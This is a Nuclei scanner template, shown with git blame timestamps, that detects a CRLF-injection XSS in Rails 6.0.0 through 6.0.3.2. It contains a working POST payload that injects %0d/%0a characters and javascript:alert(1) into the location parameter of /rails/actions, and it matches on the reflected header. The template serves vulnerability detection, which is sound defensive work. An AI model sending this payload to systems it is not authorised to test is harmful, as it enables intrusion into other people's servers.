nuclei-templates/vulnerabilities/rails/rails6-xss.yaml

31 lines
928 B
YAML
Raw Normal View History

2020-12-23 09:24:03 +00:00
id: rails6-xss
2020-12-22 22:25:41 +00:00
info:
name: Rails CRLF XSS (6.0.0 < rails < 6.0.3.2)
2020-12-23 09:24:03 +00:00
author: 'ooooooo_q (Original finder), Rahul and Harsh (Template author)'
2020-12-23 02:33:49 +00:00
severity: medium
reference: https://hackerone.com/reports/904059
# XSS (6.0.0 < rails < 6.0.3.2); Payload is location=%0djavascript:alert(1);
# Nuclei has issues with 302 response missing a Location header thus the
# extended payload to make Nuclei work.
2020-12-22 22:25:41 +00:00
requests:
- method: POST
path:
2020-12-22 22:33:16 +00:00
- >-
{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa
2020-12-22 22:25:41 +00:00
matchers-condition: and
matchers:
- type: word
words:
2020-12-22 22:33:16 +00:00
- 'javascript:alert(1)'
2020-12-22 22:25:41 +00:00
part: body
- type: status
status:
2020-12-22 22:33:16 +00:00
- 302
2020-12-23 02:33:49 +00:00
- type: word
words:
- 'text/html'
- 'Location: aaaaa'
part: header
condition: and